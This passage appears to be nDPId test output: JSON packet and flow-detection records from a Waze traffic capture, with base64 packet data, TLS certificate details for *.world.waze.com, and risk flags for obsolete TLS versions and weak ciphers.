1FJaTUZwduWO6oPZLB\/Kr54+3jOco4hPhs\/aZ7TMra\/18qq1rDcwobkr4\/HCy6N0TGrQ6Dyn4sPpnwba++QjAmdGfjGSZmIvFi42lAgMBAAGjggFDMIIBPzAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwGwYDVR0RBBQwEoIQKi53b3JsZC53YXplLmNvbTBoBggrBgEFBQcBAQRcMFowKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZ2xlLmNvbS9HSUFHMi5jcnQwKwYIKwYBBQUHMAGGH2h0dHA6Ly9jbGllbnRzMS5nb29nbGUuY29tL29jc3AwHQYDVR0OBBYEFNZsbyCbuRAq04t6Ot9dGm1t3uVoMAwGA1UdEwEB\/wQCMAAwHwYDVR0jBBgwFoAUSt0GFhu89mi1dvWBtrtiGrpagS8wFwYDVR0gBBAwDjAMBgorBgEEAdZ5AgUBMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9wa2kuZ29vZ2xlLmNvbS9HSUFHMi5jcmwwDQYJKoZIhvcNAQEFBQADggEBAFaY2zopJZdE3mmntQjiL6V0yWpBnkS3\/vdmjvi7m0l8VT3fDFeuTu6nvu5k8w=="} +00799{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":66,"source":"waze.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":6,"flow_first_seen":1435587868635,"flow_last_seen":1435587869425,"flow_tot_l4_data_len":1334,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1032,"flow_avg_l4_data_len":222,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36102,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"714ac86d50db68420429ca897688f5f3","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA"}} +04652{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":476878,"pkt_caplen":3201,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3201,"pkt_l4_len":3167,"pkt":"ABoRAAACABoRAAABCABFAAxzdI1AABAGBAYuM622CggAAQG7jQQxjR57znLiPFAY\/\/8suQAAFgMBADUCAAAxAwFqIHt\/YtLKZ9dBM12eQvSQ8djEaPgXkLVazaez9z2ohwAANQAACf8BAAEAACMAABYDAQwDCwAL\/wAL\/AAEfjCCBHowggNioAMCAQICCHZ4M8fShJA1MA0GCSqGSIb3DQEBBQUAMEkxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpHb29nbGUgSW5jMSUwIwYDVQQDExxHb29nbGUgSW50ZXJuZXQgQXV0aG9yaXR5IEcyMB4XDTE0MTEwNjE2MDkyMFoXDTE1MTEwNjE2MDkyMFowajELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDU1vdW50YWluIFZpZXcxEzARBgNVBAoMCkdvb2dsZSBJbmMxGTAXBgNVBAMMECoud29ybGQud2F6ZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5dfWK79dCVb2w7\/g3HRrN4i9qgMlhgQofXQQXw0gD87T9syXmF5pz0Cwmmw7pjObFe\/feCHhP5Q5TYPxHvQFVRms3bi3u+ghHQQErMDQ+nN0nE87Jr74s0kO4gi5kxlnWO5u\/CLx56XE08DG89cYwLep2yXaw7FpQ88oYQg1iuiHwkbjtoRpijShFrwII4yGENpw3VHkb6Fx\/gAEFaQxZm6zeckwQ1HY64ImqtGYTIGt4mDB1FJaTUZwduWO6oPZLB\/Kr54+3jOco4hPhs\/aZ7TMra\/18qq1rDcwobkr4\/HCy6N0TGrQ6Dyn4sPpnwba++QjAmdGfjGSZmIvFi42lAgMBAAGjggFDMIIBPzAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwGwYDVR0RBBQwEoIQKi53b3JsZC53YXplLmNvbTBoBggrBgEFBQcBAQRcMFowKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZ2xlLmNvbS9HSUFHMi5jcnQwKwYIKwYBBQUHMAGGH2h0dHA6Ly9jbGllbnRzMS5nb29nbGUuY29tL29jc3AwHQYDVR0OBBYEFNZsbyCbuRAq04t6Ot9dGm1t3uVoMAwGA1UdEwEB\/wQCMAAwHwYDVR0jBBgwFoAUSt0GFhu89mi1dvWBtrtiGrpagS8wFwYDVR0gBBAwDjAMBgorBgEEAdZ5AgUBMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9wa2kuZ29vZ2xlLmNvbS9HSUFHMi5jcmwwDQYJKoZIhvcNAQEFBQADggEBAFaY2zopJZdE3mmntQjiL6V0yWpBnkS3\/vdmjvi7m0l8VT3fDFeuTu6nvu5k81XJXuDi\/QV01oDgfZuZsV2qZV4S8xqLmj\/8s8QnmcTeHpomDMSdjXTXziFnSkko3MHsuUeD3+MGC1nPfT5fsZillvuFCuBa9EdwSkLYUOi3Mlp3bk6Tl94tG9aBCkhS9VYoZ3uVQ8YKxxo2feCGxvelUxlMnHtG1cv5a\/1EGGP3Gcuou9O0zWYPP0fFQk+hOSuPNmdovXtxh1Re1KKIL0UVsXBYJhTMfrcrZHoBdcnUY5men8tY5KeGAL6RhV+\/2r0ZIy51ZzR1MkbMjkDu3BOeFXQAA\/QwggPwMIIC2KADAgECAgMCOnYwDQYJKoZIhvcNAQEFBQAwQjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xGzAZBgNVBAMTEkdlb1RydXN0IEdsb2JhbCBDQTAeFw0xMzA0MDUxNTE1NTVaFw0xNjEyMzEyMzU5NTlaMEkxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpHb29nbGUgSW5jMSUwIwYDVQQDExxHb29nbGUgSW50ZXJuZXQgQXV0aG9yaXR5IEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnCoEd1zYUJE6BqOC4NhQSLyJP\/EZcBqIRn7gj8Xxic4h7lr+YQ23MkSJoHQLU09VpM6CYpXu61lfxuEFgBLEXpQ\/vFtIOPRT9yTm+5HpFcTP9FMN9Er8n1Tefb6ga2+HwNBQHygwA0DaCHNRbH\/\/OjynNwaOvUsRBOt9JN7m+fwxcfuU1WDzLkqvQtLL6sRqGrLMU90VS4sfyBlhH82dqD5jK4Q1aWWEyBnFRiL4U5W+44BKEMYq7LqXIBHHOZkQBKDwYXqVJYxOUnXitu0IyhT8ziJqs07PRgOXlwN+wLHee69FM8+6PnG33vQlJcINNYmdnfsOEXmJHjfFr45yaQIDAQABo4HnMIHkMB8GA1UdIwQYMBaAFMB6mGiNifurBWQMEX2qfWW4ysxOMB0GA1UdDgQWBBRK3QYWG7z2aLV29YG2u2IaulqBLzASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBBjA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vZy5zeW1jYi5jb20vY3Jscy9ndGdsb2JhbC5jcmwwLgYIKwYBBQUHAQEEIjAgMB4GCCsGAQUFBzABhhJodHRwOi8vZy5zeW1jZC5jb20wFwYDVR0gBBAwDjAMBgorBgEEAdZ5AgUBMA0GCSqGSIb3DQEBBQUAA4IBAQAnjM\/pxzu+wG\/oloT7nFxdkOR324syYJtl2IUmtbqfHt5kTh\/GyCBbCZ+rqeAJNEWiZSU3PX9abyDM+frxHY8QDAI6xMkBdpa+m\/kV2DnRxQNHdriKjDHWYNXkj9v6PMbVmCj4HI8XkTTLy1J60fs6IOThhrHYGA++1odkjcUKJUJR77I4uOAd0OH85vSvRrrvwL\/FtAX1lHUM\/qK+Arrqhlv5NbNm9cWNhaEaI3caGRdUE2CfC+G0nCgq+a4CNG0lk5yCqBd78YWw0w9Y4fux\/pyho+j9yT\/013HcvYykGeAhIyNVE4+kFgIJfrmv7ttTZL1xL7k5zjC3tLxU4EcHAAOBMIIDfTCCAuagAwIBAgIDErvmMA0GCSqGSIb3DQEBBQUAME4xCzAJBgNVBAYTAlVTMRAwDgYDVQQKEwdFcXVpZmF4MS0wKwYDVQQLEyRFcXVpZmF4IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMDIwNTIxMDQwMDAwWhcNMTgwODIxMDQwMDAwWjBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2swYYzD99BcjGlZ+W988bDjkcbd4kdS8odhM+KhDtgPpTSEHCIjaWC9mOSm9BXiLnTjoBbdqfnGk5sRgprDvgOSJKA+eJdbtg\/OtppHHmMlCGDUUna2YRpIuT8rxh0PBFpVXLVDviS2Aelet8u5fa9IAjbkU+BQVNdnARqN7csiRv8lVK83Qlz6cJmTM386DGXHKTubU1XupGc1V3sjs0l44U+VcT4wt\/lAjNvxm5suOpDkZALeVAjmRCw7+OC7RHQWa9k0+bw8HHa8sHo9gOeL6NlMTOdReJivbPagUvTLrGAMoUgRx5aszPeE4uwc2hGKceeoWMPRfwCvocWvk+QIDAQABo4HwMIHtMB8GA1UdIwQYMBaAFEjmaPkr0rKV10fYIyAQTzOYkJ\/UMB0GA1UdDgQWBBTAephojYn7qwVkDBF9qn1luMrMTjAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwEB\/wQEAwIBBjA6BgNVHR8EMzAxMC+gLaArhilodHRwOi8vY3JsLmdlb3RydXN0LmNvbS9jcmxzL3NlY3VyZWNhLmNybDBOBgNVHSAERzBFMEMGBFUdIAAwOzA5BggrBgEFBQcCARYtaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5MA0GCSqGSIb3DQEBBQUAA4GBAHbhEm5OSxYShjAGsoEIz\/AIx8dxfmbuwu3UOx\/\/8PDITtZDOLC5MH0Y0FWDomrLNhGc6Ehmo21\/uBPUR\/6LWlxz\/K7ZGzIZOKuXNBSqltLroxwUCEm2u+WR74M26x1Wb8ravHNjkOR\/ez4iyz0H7V84dJzjA1BOoa+Y7mHyhD8SFgMBAAQOAAAA"} +01057{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":67,"source":"waze.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":6,"flow_first_seen":1435587868634,"flow_last_seen":1435587869476,"flow_tot_l4_data_len":3469,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3167,"flow_avg_l4_data_len":578,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36100,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Waze","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.world.waze.com","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"714ac86d50db68420429ca897688f5f3","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.world.waze.com","fingerprint":"30:50:FA:42:94:E4:1A:34:9B:23:55:CB:7B:F2:0D:76:FA:1C:58:4B"}} +00406{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":477117,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoH6xAAEAGNTIKCAABLjOtto0GAbtbbHRkpJOQR1AQ\/\/82dQAA"} +03290{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":69,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":477401,"pkt_caplen":2189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2189,"pkt_l4_len":2155,"pkt":"ABoRAAACABoRAAABCABFAAh\/dI5AABAGB\/kuM622CggAAQG7jQakk5BHW2x0ZFAY\/\/+UTAAAVcle4OL9BXTWgOB9m5mxXaplXhLzGouaP\/yzxCeZxN4emiYMxJ2NdNfOIWdKSSjcwey5R4Pf4wYLWc99Pl+xmKWW+4UK4Fr0R3BKQthQ6LcyWnduTpOX3i0b1oEKSFL1Vihne5VDxgrHGjZ94IbG96VTGUyce0bVy\/lr\/UQYY\/cZy6i707TNZg8\/R8VCT6E5K482Z2i9e3GHVF7UoogvRRWxcFgmFMx+tytkegF1ydRjmZ6fy1jkp4YAvpGFX7\/avRkjLnVnNHUyRsyOQO7cE54VdAAD9DCCA\/AwggLYoAMCAQICAwI6djANBgkqhkiG9w0BAQUFADBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMB4XDTEzMDQwNTE1MTU1NVoXDTE2MTIzMTIzNTk1OVowSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCcKgR3XNhQkToGo4Lg2FBIvIk\/8RlwGohGfuCPxfGJziHuWv5hDbcyRImgdAtTT1WkzoJile7rWV\/G4QWAEsRelD+8W0g49FP3JOb7kekVxM\/0Uw30SvyfVN59vqBrb4fA0FAfKDADQNoIc1Fsf\/86PKc3Bo69SxEE630k3ub5\/DFx+5TVYPMuSq9C0svqxGoassxT3RVLix\/IGWEfzZ2oPmMrhDVpZYTIGcVGIvhTlb7jgEoQxirsupcgEcc5mRAEoPBhepUljE5SdeK27QjKFPzOImqzTs9GA5eXA37Asd57r0Uzz7o+cbfe9CUlwg01iZ2d+w4ReYkeN8WvjnJpAgMBAAGjgecwgeQwHwYDVR0jBBgwFoAUwHqYaI2J+6sFZAwRfap9ZbjKzE4wHQYDVR0OBBYEFErdBhYbvPZotXb1gba7Yhq6WoEvMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgEGMDUGA1UdHwQuMCwwKqAooCaGJGh0dHA6Ly9nLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9nLnN5bWNkLmNvbTAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwDQYJKoZIhvcNAQEFBQADggEBACeMz+nHO77Ab+iWhPucXF2Q5HfbizJgm2XYhSa1up8e3mROH8bIIFsJn6up4Ak0RaJlJTc9f1pvIMz5+vEdjxAMAjrEyQF2lr6b+RXYOdHFA0d2uIqMMdZg1eSP2\/o8xtWYKPgcjxeRNMvLUnrR+zog5OGGsdgYD77Wh2SNxQolQlHvsji44B3Q4fzm9K9Guu\/Av8W0BfWUdQz+or4CuuqGW\/k1s2b1xY2FoRojdxoZF1QTYJ8L4bScKCr5rgI0bSWTnIKoF3vxhbDTD1jh+7H+nKGj6P3JP\/TXcdy9jKQZ4CEjI1UTj6QWAgl+ua\/u21NkvXEvuTnOMLe0vFTgRwcAA4EwggN9MIIC5qADAgECAgMSu+YwDQYJKoZIhvcNAQEFBQAwTjELMAkGA1UEBhMCVVMxEDAOBgNVBAoTB0VxdWlmYXgxLTArBgNVBAsTJEVxdWlmYXggU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eTAeFw0wMjA1MjEwNDAwMDBaFw0xODA4MjEwNDAwMDBaMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDazBhjMP30FyMaVn5b3zxsOORxt3iR1Lyh2Ez4qEO2A+lNIQcIiNpYL2Y5Kb0FeIudOOgFt2p+caTmxGCmsO+A5IkoD54l1u2D862mkceYyUIYNRSdrZhGki5PyvGHQ8EWlVctUO+JLYB6V63y7l9r0gCNuRT4FBU12cBGo3tyyJG\/yVUrzdCXPpwmZMzfzoMZccpO5tTVe6kZzVXeyOzSXjhT5VxPjC3+UCM2\/Gbmy46kORkAt5UCOZELDv44LtEdBZr2TT5vDwcdrywej2A54vo2UxM51F4mK9s9qBS9MusYAyhSBHHlqzM94Ti7BzaEYpx56hYw9F\/AK+hxa+T5AgMBAAGjgfAwge0wHwYDVR0jBBgwFoAUSOZo+SvSspXXR9gjIBBPM5iQn9QwHQYDVR0OBBYEFMB6mGiNifurBWQMEX2qfWW4ysxOMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwuZ2VvdHJ1c3QuY29tL2NybHMvc2VjdXJlY2EuY3JsME4GA1UdIARHMEUwQwYEVR0gADA7MDkGCCsGAQUFBwIBFi1odHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkwDQYJKoZIhvcNAQEFBQADgYEAduESbk5LFhKGMAaygQjP8AjHx3F+Zu7C7dQ7H\/\/w8MhO1kM4sLkwfRjQVYOiass2EZzoSGajbX+4E9RH\/otaXHP8rtkbMhk4q5c0FKqW0uujHBQISba75ZHvgzbrHVZvytq8c2OQ5H97PiLLPQftXzh0nOMDUE6hr5juYfKEPxIWAwEABA4AAAA="} +01057{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":69,"source":"waze.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":8,"flow_first_seen":1435587868635,"flow_last_seen":1435587869477,"flow_tot_l4_data_len":3509,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2155,"flow_avg_l4_data_len":438,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"46.51.173.182","src_port":36102,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Waze","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.world.waze.com","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"714ac86d50db68420429ca897688f5f3","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.world.waze.com","fingerprint":"30:50:FA:42:94:E4:1A:34:9B:23:55:CB:7B:F2:0D:76:FA:1C:58:4B"}} +00406{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":70,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":477557,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAojYlAAEAGx1QKCAABLjOtto0EAbvOcuI8MY0qxlAQ\/\/8uIAAA"} +00406{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":477671,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoH61AAEAGNTEKCAABLjOtto0GAbtbbHRkpJOYnlAQ\/\/8uHgAA"} +00852{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":485626,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFujYpAAEAGxg0KCAABLjOtto0EAbvOcuI8MY0qxlAY\/\/8UTwAAFgMBAQYQAAECAQAJa91NRPBS+OZzLaCqfCknHxqEZfY3H68IP1Ho1BBqnh6b7yuJIMHYs8aoMVVPkqSoo9OnUP0GeX0EfIJ45fdbqQtr0jkMcNQPZhI8eD5VTRdQNYcmz\/FbHXph\/in2fTBhNYFofRjr3wPBsN5zGGWrzacXqvsEq0BupiskMiLS0slIXmdHMT0gK99zu4LD6y9B1PDZperEgT9j6K3+U7SkQWTiDFpQpTZQKlexzWIo5RK4HOE5YtHsotOSTkv\/UPZQZ+wHpPE2SMT0KZTb5jkxFQbxDBS\/EwJ4ZVP\/A4Jz0Eiu4FVHZdvMx8sv4vT7\/u\/9yV7wipm0dcJMETeCqgNTFAMBAAEBFgMBADAw1v6zA6S9DfPaW2cWz1NmpG9t9+zzaNsjRXaaiFm11EmhCd9f2u0uC5aAmMCqrSs="} +00406{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":485916,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodI9AABAGEE8uM622CggAAQG7jQQxjSrGznLjglAQ\/\/8s2gAA"} +00852{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":536393,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuH65AAEAGM+oKCAABLjOtto0GAbtbbHRkpJOYnlAY\/\/84TwAAFgMBAQYQAAECAQAW8GvaAdMcScd+AFx4rsFFMy1VrmvFdNskNdTzK3dU1L5OlD70tJIuhEUFmYBved5Ma\/6pIvq5+BDqKpNIAVHAXLOPIcoJyyjrKY0h0YyvtmH7wlMLhATKFBIZ6OVFhK45S\/kv9GmbEd\/23X\/nsG+gptpOUZvm977JLZVC60JyOrZMzMZYKfm2l+wAzZhSsfUFEV6k5DuETtyDCRxYCMFJ+5yYjPZdenqkqTMawAcfMxxNxIRYwSoZc+lyWy1ZmxfNOxHV3NG065n3EtgVkCy6vkwWffSTQAkbZpAFpq1c+WeYWsKaLyMN2GA0aUE2o0mFtKV34l4C8a\/h25qku0CBFAMBAAEBFgMBADDwZwppSWe1pVRE2YCP+FqFRzypCYPLJEUvnIHGu\/hpHqN4XulbHgktiATzkSCxG4g="} +00407{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":536674,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodJBAABAGEE4uM622CggAAQG7jQakk5ieW2x1qlAQ\/\/8s2AAA"} +00731{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":751788,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"ABoRAAACABoRAAABCABFAAESdJFAABAGD2MuM622CggAAQG7jQQxjSrGznLjglAY\/\/+PcAAAFgMBAKoEAACmAAABLACg+DNooxMI1xMpQjOwcaWLJxGEx9zFwckUgNQBtx5H\/W\/h1C3aYZhymNU2\/2R9wH3cbNDe\/pcnD5Mj8dG+IUh7142J\/QLPvxGJoHgWvhuJRn7c3B+LQbMZa2+KAfKEQFuO8psScmZe4khc8Dys9uG\/QlJczQGRiqjSArMj3AP\/xl\/l2EibkyBNybV37GpOG0FQ7DOvtcBvcyZmyxekrNRKBBQDAQABARYDAQAwrGu4vKSO\/IyqnPa4Ivf+GCFiqLHaaoH8msjDTXuTRxmXjDeZshWOhlo7YM6pnsU9"} +00612{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":803280,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"ABoRAAACABoRAAABCABFAAC9jYtAAEAGxr0KCAABLjOtto0EAbvOcuOCMY0rsFAY\/\/9h4AAAFwMBAJBvR2hOdPa8CYAoX\/lAmkYJrAYY77UT2w6xBK4KfLNjEx6b7zErP3DqXb26rhX4qlgZfHxMHrML6EAGZY+g7qrNjkrPzwEIf46\/zytgbvzdEFWEw7Bbgkn9mtDnHG3Y6webRYm6WtfqOVCokbdjadj7Vl00z1Ugiv2px9sBvqjyJeF6QnA4drGIjKtL8IXZ8eQ="} +00407{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":803780,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodJJAABAGEEwuM622CggAAQG7jQQxjSuwznLkF1AQ\/\/8rWwAA"} +00724{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":804020,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"ABoRAAACABoRAAABCABFAAESdJNAABAGD2EuM622CggAAQG7jQakk5ieW2x1qlAY\/\/8jaAAAFgMBAKoEAACmAAABLACg+DNooxMI1xMpQjOwcaWLJ9jDPNm9cwmXboX+w4TOLFuUaVIef4MxLOZx0kcEcUy5N6AtsIXqt108b8x0xDprhXKx3Gr+uAZfxlybMhg1FeNH65h\/xlczy3hO5uKVO3ByRWTazfwUMzlGomLIyA\/fTUvMMKGW3VgeGQar1a6Wb33WAARknDCiSBoUvunNRPxi6RI8SAKzcXc0kCJntobEYhQDAQABARYDAQAw3x82M8XOY0lFeKApQnBNkGGJMwNQ6pt+tzRRmtT9Lk0k7qmg6BGtSPqFbR99Okjb"} +01133{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587869,"pkt_ts_usec":804145,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAjYxAAEAGxTkKCAABLjOtto0EAbvOcuQXMY0rsFAQ\/\/8SYgAAFwMBAlBTgHKvXse3Q34qsmECusAZwERvU7TcGtVXgVHxXhM58XPN9udm36iJCbFTRyITTdpClw6Pto78XTVXnh63YpntxyjGgXYBhHlif2+\/xaZE6dvCRb9SsR4NUAl0v2XcpvF8g3jG3t6bor16PE4igPEpRLU5jFBLLuOFH+v6LKHJyQvi+JDde\/iT+8IsBY5dZM4cGg0lpP0jE9ux1QrikByEGA956FjcuT5Tr+XWC4qxPPpfF6iv2YWKS71k5v8Tb20qwsZOMYbMx87icRCpYv7xdMKPjW71ORfNTSDIMF+iRsgYeRYtia00qL+fGVUlL1JI74vbOCeWCc+GL9UR\/yg+4M1T1brH8J3HTBOOyEughp1XAFNS2pqAwvbtxGSG9tlXQORKSONcSuzSsGb4bZJtJIKZ9VflfGt+dgOvhiK8rrfkdHKA8w9UL9rnCkrxg2JsK0zUxLoHkXv+naflNq\/dQ4a8tG08\/Zt0DJUcYCI75tuzc4mvhuHqM8Nl3b9eXlY\/Vu+yu1kuE2WeT